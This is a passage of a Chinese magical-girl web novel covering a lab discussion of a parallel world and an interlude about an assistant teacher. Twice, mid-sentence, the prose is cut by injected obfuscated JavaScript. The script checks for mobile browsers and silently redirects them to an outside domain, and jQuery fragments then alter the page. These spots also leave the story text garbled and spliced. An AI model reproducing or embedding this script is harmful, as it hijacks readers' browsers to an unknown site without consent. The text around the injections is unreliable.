“那个森山寺未雅非常迅速地理解了我为何会出现,我出现的作用,以及我出现了什么问题,我们在非外界因素影响下的各方面都是相同的存在。她说那个世界经历过一次时间回溯,证据是实际观察,她因为潜意识里的规则无法改变发生过的一切,包括她即将自杀这件事。她使用魔法做到将我的精神与她的精神状态互换,从而达到让我的精神状态恢复正常的目的。”森山寺未雅说到这里语气发生了一些波动,她顿了顿处理好那些波动。 森山寺未央瞬间就明白了那时发生的事,她脸色瞬间苍白,说不出话来,森山寺未雅理解了她的害怕,握住了她的手。 “她为什么理解你的出现。”克拉拉追问。 “她只说两个世界的时间是同步的,她不清楚我出现的原因,只说这是一个奇迹。”森山寺未雅说。 “不同的事指的是什么,时间回溯的原因。”克拉拉头也不抬地问。 而森山寺未雅却是先抬头看了看犬山晓,“原因和手法未知。在那个时间未央和我都成为了魔法少女。而在那个世界这个时间点天生目白似乎并没有坠楼而亡,艾克里普和晓没有出现在我们身边。” 克拉拉抬头看向犬山晓所在的位置,看见她得知这一消息后明显一愣,但没有提问。 “导向的针对性太强了,这个问题算是你们的,你们两个推测导致不同的那个人是谁。”克拉拉问,没有去问犬山晓知道些什么。 “不知道,她没有给出任何推测,时间也来不及让我们慢慢分析,”森山寺未雅说。 “时间也是魔法不可干涉的禁忌之一。”森山寺未央分析道,“但我有预感这个魔法之后还会被提到。” 克拉拉没有问魔法相关的问题,只是埋头打字,并调出其它文件进行查看对比。她的脑袋在几个屏幕前来回使用视力,偶尔低头。 “量子力学不在我的研究范围内啊,不如说物理学都。”克拉拉头疼地说,“就现在而言特异点的存在与我的研究关联不是很大,定义也出现了一些疑问。还有什么要补充的吗?” “对于我会在这个时间出现在那里这一点,你真的什么都不知道吗?再晚一些就什么都来不及了。”森山寺未雅问克拉拉,“而且那个我说的潜意识规则也很可疑,你有什么想法吗?” “我怎么会有渠道知道你跳楼的时间安排?说到底今天来早一些的不是你们吗?”克拉拉皱眉,“潜意识这种应该归哲学管吧,我再过三十年会考虑开车时转到这个频道的。” “我们是因为日之森主动因安全原因提早放学,那个世界的日之森是为何停课,现在已经是快期中考的时间了。”森山寺未央也感到不解。 “或许确实是个奇迹吧。”森山寺未雅叹了口气,“而且再多的也没法知道了。” “…这个可不好说,我觉得奇迹没那么好心,不过我在这方面没有话语权。”克拉拉继续,“这些内容可不够我写几张纸的,你们接下来准备怎么行动?” “我准备回去找伊提阿姨之前的东西。”森山寺未雅说,“通过她那时的感情波动和言辞,我推测她的女儿大概率已经不在人世了,我不清楚这一事实是否与她的所作所为相关联,但我认为有可能。” “伊提阿姨的女儿去世了吗?”森山寺未央吓了一跳,“如果是这样的话,她后来变了很多也是因为这个吧。” “这件事的真相或许还有待发掘。”森山寺未雅说到这里,忽然,森山寺未央口袋里的手机传来震动声,她拿出来查看。 “是艾克里普,她说到外面了。”森山寺未央惊喜地说,“正好能让她帮忙看看那里面的东西。” 克拉拉对此并不排斥,她也想多了解一些自己的试验品,况且艾克里普也是几人的同伴之一,不会暴露自己的秘密。 实验室的门若是没有录入过面孔便只能从内部开启,克拉拉发现一直没人去开门,就回过头看向犬山晓,却发现对方从刚才开始就一直低着头不语。 “小犬山?”克拉拉顿了顿,说,“你们朋友在外面。” “哦,艾克里普来了吗?”犬山晓这才回过神,说话有些拖沓仓促,她往门口走去,克拉拉看着她不稳的背影隐约感到有些奇怪。 门开了,艾克里普匆忙地走了进来,发现森山寺未雅和森山寺未央紧挨着坐在一起,总算是松了口气。 “看来是没事了?”艾克里普往里走了几步,欣慰地看向森山寺未雅,“很抱歉这件事上我没能帮上什么忙,不过现在你们总算能好好待在一起了。” “抱歉,之前我说话很过分。”森山寺未雅感到非常地不好意思,她看了看艾克里普的脸,低头,最后还是抬起来了,“这件事给你们造成了很大的麻烦吧,以后我会努力将功补过的。” “没错没错!”森山寺未央连连点头。 艾克里普这才放心下来,看向坐在左边同样打量着她的克拉拉,二人之前见过面,彼此打了招呼。 犬山晓叹了口气,脸色好看了些,“未雅的精神状态能恢复正常是因为一个特殊物品,她说接触之后会前往一个平行世界,我们接触后会失去意识,只能拜托艾克里普想想办法了。” “平行世界?”艾克里普非常惊讶,“这不应该存在才对,不过让我先看看吧。” “那么请稍后。”克拉拉开始操作,很快消毒室的门打开,艾克里普想了想,没有避讳,直接换上魔法少女的装束进入医疗区,并走向逐渐打开的医疗舱,她没有出现异常情况。 “好吧,那就让我也试试看吧,”森山寺未央叹了口气,“大不了就是晕过去一下下。” “可以,”克拉拉同意了,“那你现在就进去,一会出事了让她把你捞出来。” 随即她再次启动消毒室的门,森山寺未央换上魔法少女装束,跃跃欲试地走了进去。 监控画面下的医疗区中,艾克里普很快就将视线转向医疗舱,她快速上前观察,并看向了躺在里面的木纹石杖,她先是不动,尝试使用魔力接触,石杖也不动。 石杖依旧安静地躺在那里,艾克里普却感到了一些熟悉,并一眼就认出那个造型是牧羊人的手杖。她轻轻地拿起了它,那是一种很神奇的感觉,就像是这把石杖天生就应该如此伫立在她的身边。艾克里普听从本能地通过石杖释放魔法,却没有得到一丝一毫反馈。 “这到底是什么呢?”艾克里普感到十分疑惑,这把石杖既有魔法气息却又没有反应,她接触后别说看到平行世界里,连克拉拉所说的昏迷也没有发生。 “我来了!”森山寺未央走进医疗区,对于其中的设备啧啧称奇,不紧不慢地靠近了艾克里普和她手中的石杖,没有昏迷的预兆。 “没有什么感觉啊,”森山寺未央在艾克里普的注视下在她的周围走来走去,最后伸出手,“那么接下来让我摸一下——” 就在森山寺未央接触到石杖的下一刻,她犹如断线的木偶一般向前落下,身上覆盖着的也变回了原本的衣服,艾克里普吓了一跳,赶忙接住对方。她看向手中的石杖,几经考虑,最后将其放回了医疗舱内,舱门关闭。 “怎么样?”看见艾克里普带着森山寺走出消毒室,克拉拉问道,森山寺未雅起身去接森山寺未央,确认对方只是简单的昏迷,和睡着了差不多。 “确实是魔法道具,但目前看来效果只是令人昏迷,”艾克里普皱着眉头说,“之前是发生了什么?” 于是森山寺未雅将之前说的复述了一遍,犬山晓顺便将这件事发在聊天群里让有乐羽说知道。 艾克里普凝重地说,“平行世界是不应该存在的,不过既然这件事发生了那就一定有蹊跷在其中,我们现在无法调查那个世界中的真相,但可以以此为疑点调查目前的事。” 说罢,艾克里普将之前发生的事情告诉了大家,犬山晓再次低头打字将其发送在聊天群里,一会森山寺未央醒了后也能看。 “这样看来,伊提阿姨所为的一切实际上很难与那些人体实验的存在摆脱关系,无论是否是自愿的。”森山寺未雅叹了口气,“那位侦探也是想借这件事查些什么吧,说自己的雇主针对性强,自己也不差到哪去。” “启明星侦探是个难以捉摸的孩子呢。”艾克里普笑着说,“不过她既然会帮助我们就不会食言的,而且她的洞察力很敏锐哦,而且有着开放性的思维这一点非常难得。” 森山寺未雅听见这样的称呼一时心情微妙,她之前就感受到了艾克里普身上莫名其妙存在的年长者气质,但她意识到自己提出来的话还要考虑之后自己的回复,于是干脆就不说话了。 “那个六十七号实验体就是之前Evo内部人员擅自违规导致离开实验室的那个,他还活着是准备向实验室,或者说Evo报仇吗?”克拉拉思索着说,“好一出科幻剧,我不会买票的。” “启明星侦探也是这么说的,”艾克里普皱起眉,把手往袖子里伸,“这样的受害者还有许多,我们要尽快结束这一切,这个是我用得到的血液做成的报警器,大家一定要随身携带。” 说罢艾克里普拿出了一些小瓶子,里面是方才她回到魔法工坊用瓶子里的土做成的几十颗直径大概半厘米,高两三毫米的黑色光面圆柱体,不光彩夺目,她给现场的人每人发了一个。 “只要戴在身上就能随时与你们的魔法产生共鸣,发生动静就是附近有相似血液的存在。”艾克里普介绍说,“虽然没有实验过,但还是带着比较好。” “谢谢你,我会收好的。”犬山晓道谢说。 “我会保证未央她收好的,谢谢。”森山寺未雅收好两人份的。 “我也有吗?我不能用吧?不过谢谢你。”克拉拉新奇地观察着手里的小东西。 “按您的说法,放在医疗舱内的那个石杖会逐渐开始向外散播的是因为它本身存在的魔力,但其这样做的原因本质我尚且还不能断定。若是将报警器放在合适的位置也能发生反应,不过需要找单独的方法捕捉到这个反应。”艾克里普介绍说,“这个还是需要拜托您收纳一段时间里。” “好说。”克拉拉没什么意见,“这样做的原因和本质,你认为它并不是一个奇点吗?” “这是魔法道具。”艾克里普点了点头。 克拉拉若有所思。 “我们接下来要尽快前往神脉医院进行调查。”艾克里普对自己的同伴说,“按照启明星侦探的说法,迟则生变。” “调查的话未央跟着你们去就够了,我留在这里找一找伊提阿姨可能留下的东西,辛苦你们跑一趟了。”森山寺未雅说。 “未雅可以试试去找启明星侦探谈一谈,或许能有些新的线索。”艾克里普点头,“启明星侦探给出了调查的目标,不过我们怎么过去呢?” “神脉医院的地址在南边,开车过去的话距离不远。”克拉拉问道,“我倒是可以借给你们车,你们有人会开吗?” “我会骑摩托车。”犬山晓说。 “我可以尝试。”艾克里普微微笑着说。 “未央会开马丁车。”森山寺未雅说。 “我会开车哦。”有乐羽生说。 “羽生说她会开车,”犬山晓复述消息,“真的吗?我们这个年龄能拿驾照吗?” “不能,摩托车驾照也不能。”克拉拉一边写东西一边说。 “我对自己的车技非常自信!”有乐羽生激情自荐,“我小学的时候就学会了,初中开过几次,只要不被抓到绝对没问题的!” 小学时的有乐羽生就对各类天上飞的地下跑的水里游的大型交通工具非常感兴趣,简单来说就是向往自由,她在尝试了各类电动器械之后她是对平时最经常看见并接触的汽车产生了难以抑制的想法,并在某天向自己家的司机提出了学习汽车驾驶的要求。 对方当然是大惊失色地推辞了,于是年幼的有乐羽生顺势要求坐在副驾驶上观看,对方想了想,便定期在居民区附近的街道带着她兜风,人少的同时也不会有交警管制。 谁能想到这样坐在副驾驶上的小孩居然是抱着学习的态度不厌其烦地在居民区坐车兜风的,终于在身高足够踩到油门和刹车之后,有乐羽生内心燃起了对自己掌控方向盘的渴望。 想来想去,最终她的目光还是落在了自己家的车上,毕竟谁会防着她这样一个初中生拿走车钥匙呢?况且有乐家停车场总有几辆不太显眼而且位置在角落里的车辆,直到管家大惊失色地发现司机还在家里车却被开走了的那天为止,有乐羽生已经在想着要不要往居民区外面开开看了。 结果当然是被管家严词拒绝了,虽然最后这件事没有被家里人知道,但从那以后家里的车钥匙再也不是随随便便地放在车库门旁的柜子里了。现在有乐羽生已经成功为自己争取到了获得更多食物和一定量自己随意支配的零花钱,但开车这件事无论如何都没办法。 “那太好啦!我们什么时候出发?”艾克里普完全不对有乐羽生的车辆驾驶技术抱有怀疑。 “看学校安排吧,首先我们需要想办法让羽生自由行动。”犬山晓也放弃了争辩这件事,她认为到时候哪怕翻车了也不会有什么关系。 “你们给我小心点开,这里可找不到地方修我的车。”克拉拉对自己几乎没开过的车表达了关心。 “你们加油。”森山寺未雅送上了朴实的祝福,毕竟她不坐这趟车。 几人商讨之后便准备离开了,森山寺未雅谢绝了艾克里普送二人回家的提议,决定等森山寺未央醒来后再启程离开。 克拉拉看着神情恍惚的犬山晓,心里想着今天的事和她关系不大,为什么会有这样的表现呢?这很可疑。 “最近路上乱得很,走路的时候别发呆。”克拉拉出于好心提醒道,又忍不住问,“你在想什么呢?” “…没什么,就是在想如果我现在没有出现在这里的话,还能是在哪,什么的。”犬山晓缓慢地回答说。 “你在想这种事啊,”克拉拉有些意外于这份多愁善感,“日之森又不是这里的唯一一所高中,不如说你在日之森上学才比较出乎意料吧?” “可是,那个世界的她如果甚至不知道我的存在的话,是不是也就意味着我没有成为魔法少女呢?”犬山晓并没有被安慰道。 “你在入学日之森之前不也没见过其它几个人吗?或许只是那个世界的你还没遇到其它人而已啦,现在你们不是才开学没多久吗,概率也是随时间可以叠加的。”克拉拉说道。 “或许那个世界发生了什么,让你没有选择来到这座城市,那么我们不认识也是很正常的了。”森山寺未雅察觉到了犬山晓的犹豫,“而且说实话,我觉得无论是哪个世界,我都不是个会主动交朋友的类型,别想太多了。” 这番话让犬山晓愣了愣,她的表情没有轻松些许。 “…你说的对,”她还是笑了,“至少现在我们能在这里相遇就好了。” 说完,她与几人告别后离开了。 “小孩子就是喜欢想东想西的,真是麻烦。”克拉拉对此嗤之以鼻。 “谁都有想不开的事情,这又不是小孩子的特权。”森山寺未雅持反对的想法。 “算了,你们小时候和那家伙聊天的时候,她有说过自己过去的什么事吗?”克拉拉坐在电脑前背对着二人发问。 “有提起过自己的实验室所在的研究中心和学生。”森山寺未雅明白对方是想听什么,“她说自己的一个学生明明老是一副随时会消失的样子,但从来没缺席过会议和重要实验。” “那她有表达过后悔或者愧疚什么的吗?”克拉拉追问。 “克拉拉小姐,这些事不如您找到她之后亲自问?”森山寺未雅调侃着说,“您作为她唯一 的学生想必不会被无视吧。” “我可是她唯一的学生,有问必答是基本的。”克拉拉说着叹了口气,“要是当年我知道她是因为自己女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是吗?看不出来您还是个理想主义者。”森山寺未雅歪了歪头,“我进入这个实验室的时候就发现了,您的设备都相当不错,医疗区里那台东西的原型是Evo今年刚研发出来的吧,还没有正式投入市场才对。您当初放弃的不仅仅是在科研上的选择吧?” “你眼光不错,不过这些我不会告诉你的。”克拉拉笑了。“在你们把有价值的线索带回来之后再谈后续吧。” “额,这里是哪?”森山寺未央醒了过来,一下子没能反应过来自己所处的位置。 “你醒啦,手术很成功。”森山寺未雅探头去看对方。 “你倒是精神的很,我怎么就昏过去了?”森山寺未央支开对方的脑袋站了起来。 “身体有什么不舒服的地方吗?”克拉拉回头问。 “没有,眼前一黑后到现在为止什么都没有。”森山寺未央叹了口气。 “没什么你们就可以回去了,我这没糖给你们吃。”克拉拉回头继续看电脑。 “那我们走啦,”森山寺未央说,“这次多谢您了!下次一定再来看您!” “慰问品的话给我带酒。”克拉拉非常直接地提出了要求。 森山寺未央记住后和森山寺未雅一同离开了实验室,合金门关上,室内只剩下了键盘敲击和机器运转的声音。 克拉拉回头环视屋内,心想总算是安静了下来。 “如果要去一趟隔壁城市的话,果然得想办法至少空出一整天的时间吧?”有乐羽生在聊天群里问道。 “确实,而且最好不要拖到双休日。日之森在什么情况下会通知停课呢?”犬山晓说。 “除了不可抗力的话,那就只能是校内的重要设施需要维修,比如管道什么的,不过二月份的时候才组织检修过。”有乐羽生迅速回复。 “我们如果往返一趟的话,哪怕是最快也至少需要十二个小时,算上事先准备和意外的话至少要十八小时左右。”森山寺未央分析。 “不可抗力的话,大概是什么程度的呢?”艾克里普问。 “去年暴风雪时就停课了,这里几乎没有发生过地震或者其它自然灾害,这个学期发生这么多次异常事件可以说是近十年来头一回吧。”有乐羽生说。 “如果我们不尽快解决这件事的话那这种事情只会越来越多,毕竟那些人并不会避开普通人。”犬山晓说。 “没错。”艾克里普说。 “我来想办法让学校停课吧,不过需要一些准备时间,不过顺利的话明天下午我们放学后就能出发了。”艾克里普打字有些慢。 “那很好!我们想办法解决一下羽生家里的问题吧?”森山寺未央回复。 “我这里家教大概下午放学后就会在家里等我,一直到晚上七点左右离开,老师她每天都会在教学后和我母亲交流,我得站在旁边,所以我只能在晚上悄悄跑出去。”有乐羽生说。 “听上去非常辛苦啊,每天都这样吗?”森山寺未央大为震惊。 “除了周日,一直到这个学期结束为止。”有乐羽生的文字隐约透出疲惫。 “感觉从老师这里下手很难,要不要试试看让未雅她假扮羽生补习?”森山寺未央提了个点子。 “可以吗?我觉得这太好了!未雅感觉如何?”有乐羽生没什么异议。 “她说可以!不过明天下午最好是一起先过去一趟比较保险。”森山寺未央替没有手机的森山寺未雅回答了。 “我的家人一般到了晚餐时间才会到家,这几天很忙不一定会一起吃晚饭,所以遇到她们的可能性非常小!”有乐羽生乐观地说。 “那么明天就放学后让羽生和未雅互相变装,我们一起去羽生家里确定不会出问题,然后就准备出发前往神脉医院!”森山寺未央说。 这样一说的话就又有点朋友们一起相约去家里玩一样了,有乐羽生不禁期待起了明天。 “你有把握假扮好羽生吗?”森山寺未央看向走在她边上的森山寺未雅,二人走在回家的路上。 “也不需要太多的把握,一天而已,即使有哪里不对也没什么关系吧?”森山寺未雅不甚在乎这些问题,“有问题记得给我打电话,短信别指望我及时回复。” 说着她晃了晃手腕上的电子手表。 “所以说你到底是为什么不喜欢用手机?明明你电脑科学课进度就很快。”森山寺未央一直想问这个。 “水彩大师也不会随身携带颜料,这些对我来说不是必要的,拿不带也没关系。”森山寺未雅无所谓地说。 “这一点我以前居然没有发现,说到底我们果然是有些不同之处的吧?”森山寺未央笑了。 森山寺未雅没有说话,却也笑出了声。 “或者说,我以前也有发现的,不过那个时候我没有说出来,或许我希望我们是相似的,也认为这样才对。”森山寺未央说,“我不知道该如何面对一个与我不同的你,也无法想象你不在我身边,所以才忽视了你的异常,抱歉。” 因为对过去耿耿于怀而没能消散的情绪回旋于风中,于二人之间。 “那我们也算是半斤八两了吧?”森山寺未雅说,“现在我倒是能理解你了,像是睡了很久之后终于意识到梦里的逻辑是混乱的一样,我曾经深信的一切不过是梦中自成一套的谎言而已。” 但她没抱怨自己被吵醒。 “一觉醒来发现要做的事情有一大堆,真是够麻烦的。”森山寺未雅抱怨着。 “那对你来说,现在这样比较好吗?”森山寺未央看着对方问。 “比起一个人的话两个人更好一点,所以这样比较好。”森山寺未雅说。 “那今晚的魔物狩猎你也来帮忙!” “什么?今天不能算在缓冲期里面吗?” “实习生也要干活啊!来提前适应一下吧!” “说起来,你之前有拿我的饭卡去买东西吃吧?” “这你是怎么发现的!?” “不如猜猜看我是什么时候发现的吧?” 二人沿着一个又一个路灯的痕迹,一起走向家的方向。 深夜的夜藤工作室中,艾克里普并没有如往常一般待在二楼的魔法工坊中,而是坐在一楼的工作桌边,正对着门外的街道思索着些什么。市中心的喧闹传达不到这里,比起人类社会,风偶然吹过时掠过叶子的声音更吵闹一些。 “为何我会对那个东西感到熟悉呢?”令艾克里普最无法释怀的是这一点,她甚至没办法从知识里找到答案,这令她无法思考。 同时,森山寺未醒来后的那一番说辞以及她身上出现的变化也令艾克里普头疼不已,她另一只手扶住额头清理思绪,眼睛从指节缝隙探查外界,物质回馈存在,久违的未知感逐渐攀爬上了她的脊椎。 “我一定要守护好这个城市,守护好大家才行。”艾克里普喃喃自语,“阿尔卡纳殿下,请看着我吧。” 这是她一直以来所做的一切的最终目的,若是一切的终点无法驶向这个目的地的话,那一切便全都没有意义,但好在,她并不是孤身一人。 这是奇迹,是魔法无法实现的奇迹,艾克里普对此感到珍惜又惶恐。 “艾克里普你啊,如果能交到一些朋友的话就好了。”那个人说出这句话已经是近十年之前了,但艾克里普依旧能完美地在脑内重现当时的一切。 “感谢您的关心,不过对我来说现在这样就很好了。”艾克里普当时是这样回答的,她不明白为何明明身体逐渐衰弱的并不是自己,但被关心的却是自己。 “现在是不够的吧?”她这样说着,不算年迈的她早已清楚自己时日无多了,她隐约察觉到了这位学徒大概并不如表面那样简单,但却依旧担心着对方的未来。 “别担心。”艾克里普心里感到怜悯,因为对方尽管在短暂的生命中尽可能地坚持了自己所做的一切,但依旧会在不久后的未来被名为时间的存在吞噬一切存在的证明。 而这样的对方却在离开之前挂念着自己的未来,这一定是因为她不清楚自己是怎样的存在,艾克里普发自真心地感到怜悯。 “你的人生一定是我们无法想象的,我祝福你,艾克里普,”那浑浊的双眼里模糊地映出了艾克里普的身影,已经不再清晰了,但用于辨认出对象已经足够,“我祝福你的人生是幸福的。” “…谢谢您。”艾克里普说,哪怕她并不认为自己能在人类社会中获得真正的幸福。 但当她遇到自己的朋友们,她却隐约察觉到了获得幸福的可能性。 艾克里普呆坐在夜藤事务所中,当初的景象已经变化了许多,哪怕她刻意在翻新时留下了过去的痕迹,也无法避免地发现那些在时间的流过时一点点地被带走了不少。植物变得与过去全然不同,而那些鸟儿也因为它们的生命安全而被送去了别的地方。 仅仅只有夜藤事务所的名牌绝对地宣誓主权,向每一个人倾诉这里的名字,哪怕这里的存在也同样被艾克里普隐藏了起来。 她轻轻地叹了口气,没有去管桌上的那些信件,转身上楼了。 34.间奏-西西路与古河梦久 在日之森当老师是一种什么样的体验?若是说有谁能,而且愿意为她回答这个问题,那西西路想来想去也就只有她自己了。于是,在真正作为老师入学之前她确实是毫无准备的,对校园生活也好,对自己的目标也好,对自己的未来也好。 但是没关系,西西路在整理自己外套时看着镜子里的自己想着,她从不需要准备这些。 好在数学是她擅长的学科,她从曾经还作为受试者的时候就与医护人员沟通过学习来获取更高的个人能力的必要性,没有人阻止她学习,那么,这样做就好。 从出生到12岁,从25岁到28岁,大概15年左右的生长时间里,她对人类发展至今所研究出来的符号系统和逻辑推理有了大概的了解,这种语言去繁化简,只留下最简单的关系和结构,对她而言反而比这个世界的表面现象更有意思些。 西西路的数学学习生涯并没有一个好的老师,这也是她自豪的一点,因为天才无人可教,于是她认为自己毫无疑问是个靠自学就能理解知识的天才,不需要提点或者梳理,她只需要看着,就能理解。 但若是让她作为老师去教些无知的小孩子就有些强人所难了,甚至,她的真实年龄实际上和她们都差不多,这样的情况让西西路感到无所适从又麻烦。可既然她获得了这样的任务,甚至因为这个任务而获得了自己存在的价值和名字,那么她就这样做就好。 教学行为比她想象中的更加无聊一些,虽然只是助教,但她要做的事情比起普通教师来说并没有少到那里去,至少西西路自己是这样想的。 “所以,我必须要一步步解释怎么得到那个数字的?这不是明摆着的吗?这还要教?”第一节课结束的西西路在回办公室的路上不断怀疑着这群私校学生的智商。她知道这所学校的学费远超该地区的家庭教育支出平均线,这让她更为倨傲,那些被家庭托付希望与资源的学生们还不如她呢,西西路想到这里总会得意地笑起来。 “明摆着也得有人指出才能被发现,西西路老师。”古河梦久的声音出现在她左后方,将她之前的抱怨听了个一清二楚。 这个人也是,没人和我说过同事居然还能是如此麻烦的存在啊,为什么要在课后时间搭话,担心教学进度吗?西西路整理好表情迅速回过头。 “哎呀,这不是古河老师吗?”西西路觉得自己的表情一定是不好看的,“讨厌啦怎么这么静悄悄地跟在别人后面呢?” “不是跟着,老师的办公室都在这个方向,我也要回办公室。”古河梦久的表情不变,“你刚才说的话态度很成问题啊,你是怎么通过教师资格证的?” 当然是没有通过,这个学校从地产到人员被控制的还不够彻底吗?西西路在心中这样说。 “笔试和实操果然不太一样啊哈哈,没想到真实的校园生活是这样的呢。”西西路笑着说。 “…这也确实。”古河梦久叹了口气,“我不该这样说一个新老师的,抱歉。” 西西路为这声道歉惊讶到,她从没想过这个世界上还有人如此愿意积口德。 “不,不,没关系,我。”她说话都结巴了起来,那句道歉太烫了,她双手来回抛以寻找一个合适的接手方式。 “我会一直看着你的,还有,作业不可以只批对错,要圈出学生哪个步骤错了,知道吗?”古河梦久说,毕竟助教最主要的工作就是批改作业。 “…好吧。”西西路深深地叹了口气,按下心中对说教的不满,她不认为自己会因为古河梦久说的几句话就改变。她的人生早就不需要一个导师了,她靠自己也成长为了这幅模样不是吗? 不过为了目标,西西路还是打算假装一下自己是个好老师的,她一想到要面对那种抄都能抄错的作业就头疼,她当年可是学会了之后就没出过错的,对吧? 细致批改作业的过程比她想象中的还要痛苦,就和这段注定不会长久的教学生涯一样。但在达成任务目标之前她都必须忍耐,没错,必须忍耐。 真的必须忍耐吗?西西路想着那些基础性的错误,内心煎熬。 “西西路老师?” “听得见吗?你在想什么?” “亚贝琉西西路!” 带着情绪化斥责的人工合成声音让西西路一下子回过神来,背也挺直了。 “抱歉!”她迅速道歉,“刚才我在想学校里的事情。” “你又在找理由,你总是有找不完的理由。”视频通话对面的人用电子音冷笑了一声,“不过这也是你的优点,和你被选择的原因了吧。” “是的。”西西路反而自豪了起来。 和她使用电子音进行视频通话的人姑且算是她的同事组长,对方使用电子音并非是为了隐秘,而是单纯的觉得西西路不配让她开口说话而已。这个“不配”的范围包括公司里除了老板和教练以外的所有人,所以西西路并没有为此生气。 而且生气了又能如何呢?西西路不觉得自己能如何。她有自知之明,除了一些特殊之处以外,她并没有能与这些人对话的资本,甚至比起她本身的特殊之处,她能被选择的更大原因更像是运气所致。 “我收到你发过来的报告了。”电子音说,“这方面我没有可以指责你的地方,继续加把劲吧。不过你不需要观察所有人,只有特殊个体需要,知道了吗?” “…是的。”西西路心想当时说要全面观察的人不也是你吗? “不过现在来看,你距离目标时间也不远了,在那之后不出意外的话我会接受你的所有物吧。”电子音顿了一下,问道,“你有什么需要补充的吗?” “不,没有了。”西西路的表情真挚地说,“我很荣幸。” “当然如此!”电子音情绪化地笑了一番,“大家都会等待你的回归的,西西路。” 说完后,通话结束。西西路继续批改作业,一边在心里盘算自己要做的事情。 真的该那样做吗?西西路看着手里的字迹,这个学生之前还会犯基础性错误,在她明里暗里嘲讽了几次之后,这次上交的作业中数字没有再出错。虽然后面她自己也被古河梦久骂了一顿就是了。 这个孩子都能做出如此之大的改变,人类大多相同,那她真的应该那样做吗?为了一个她无从知晓也注定不会看到结尾的目标,抹杀一个学生变好或变坏的可能性。她真的应该这样做吗?目的是什么?意义是什么? 她活着的这15年,究竟是为了什么? 停顿只有一瞬间,西西路继续批改作业,她不需要思考的,只要那样做就好。 “这些批注我也有看,你做得不错,成长了许多。”古河梦久看着批注夸赞了西西路一番。 “…应该的。”西西路感受复杂,她一方面对于夸赞感到开心,另一方面却是不屑与不服气的。这些不过是她假装出来的,她果然是天才!古河梦久难道以为她夸两句自己就能做出更多的改变吗?不可能的啦! 或许是表情太奇怪了,古河梦久看着西西路皱起了眉。 “怎,怎么了吗?”西西路愣了愣。 “你的衬衫,领口太紧了。”古河梦久说,“不要为了追求时尚牺牲舒适度。” 西西路一愣,摸了摸自己的脖子,确实是太紧了,而且她为了追求整齐而扣上了最上面的一颗扣子。但即使这样她也不会做出改变的!毕竟这套衣服可是她自己选择的。 “这是设计的一部分。”西西路笑着说,“而且我没有觉得很紧啊!” “…你觉得没有很紧,但事实就是它会让你无意间呼吸紧张。”古河梦久叹了口气,“这种衣服都是这样的,我年轻的时候也喜欢穿,你试着解开一颗扣子感受一下就好了。” 但这样的劝诫让西西路产生了巨大的不满,古河梦久的语句像是在否定她的想法和选择一般。关你什么事啊!西西路在心里怒骂道,并没有按照对方的说法做的打算。 “不用了不劳您费心,我就这样就好。”西西路说着,将文件放在办公桌上转身离开了。 “…到底是年轻人。”古河梦久看着对方离开,没说什么了。 日子一天天的近了,不知道是不是真的因为衬衫领口太紧了,西西路一天比一天感到呼吸困难,她有时会下意识地摸向领口,但很快又放下手,心里斥责古河梦久多管闲事。 不过新买一套也没关系吧?反正工资不用白不用。西西路经过市中心商业街,看见橱窗里的衣物时心中这样想。模特人偶没有脸,没有说话,也没有伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739556|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手把西西路拽进店里的动作,只是她自己停了下来,看了过去,内心产生了想法。 她的衣物很少,非常少。 “这套的设计不错。”西西路看着一套春夏季节的衣物喃喃自语,模特头戴墨镜,胸口是舒适的宽领,“不考虑领子,整体看上去也不错,试一下好了。” 这样说着,西西路进了服装店,过了会,拎着袋子出来,遇到了出门遛猫的古河梦久。 “西西路老师。”古河梦久点头致意,她身上着装与往常上班时截然不同,布料柔软地将就着怠惰的躯壳,从过去带来的污渍与磨损留下了印记。她的手上推着双层婴儿车,车里一共四只猫八双眼睛,还有一只被牵引绳限制在一定范围里。 “这,全都是你家的猫吗?”西西路大为震撼,她从没见过古河梦久身上有动物毛发,也没有闻到过动物的气味。 “是的,还有几只不出门,你要摸吗?咖啡和甜甜圈性格很亲人的。”古河梦久介绍着,面带笑容,象征自豪与满意。 “摸,我摸一下。”西西路伸出了手。 咖啡是一只黑猫,与身旁名叫甜甜圈的三花相比非常的瘦,但两位的毛发油亮,一看平时就爱和食物作伴。 “完全看不出来,古河老师居然养猫,还养这么多。”西西路一边感慨一边挠甜甜圈的头顶,听她喵喵叫。 “一开始也没想养这么多,是后来越来越多的。”古河梦久语气闲散地说,“大部分都是野猫,没有生存能力的话在外面很难活下去的。” 西西路顿了顿,看向古河梦久。 “可是,没有生存能力的野猫很多吧。”语毕,她自己都不知道自己想说什么。 “是很多,日之森温室附近就有很多啊。”古河梦久点头,把脚下的暹罗猫抱起来,“还有不少品种猫哦,生病就被遗弃了,她前年被我发现的时候后腿骨折走路都难,现在可一点看不出来了吧?” “?”暹罗猫黑黑的脸面向凑过来的西西路的脸。 “品种猫也会被遗弃啊!”西西路幸灾乐祸地说。 “遗弃的理由千奇百怪,从小到大都存在。”古河梦久说着晃了晃暹罗猫,“这只被发现时脖子上还有项圈和名牌呢,名字叫汽水。” “现在呢?”西西路问。 “就叫汽水,没改名字。”古河梦久说,被叫到名字的汽水叫唤了两下。 “您还真是博爱。”西西路笑着说。 “你说话的方式真是有够难理解的。”古河梦久说,“改改吧?至少在学生面前。” “免了吧。”西西路笑着说。 说话的方式改变的意义是什么?西西路不知道也不需要答案,她心想要改的话,为何不在10年前出现在她面前教她如何说话呢?而是在最后时刻出现,像个伪善的博爱者一样散发善意呢? “好吧。”古河梦久却没再强求,“每个老师工作时间久了都会会在各方面有所改变的,你目前为止已经做的不错了。” “…好吧。”西西路说。 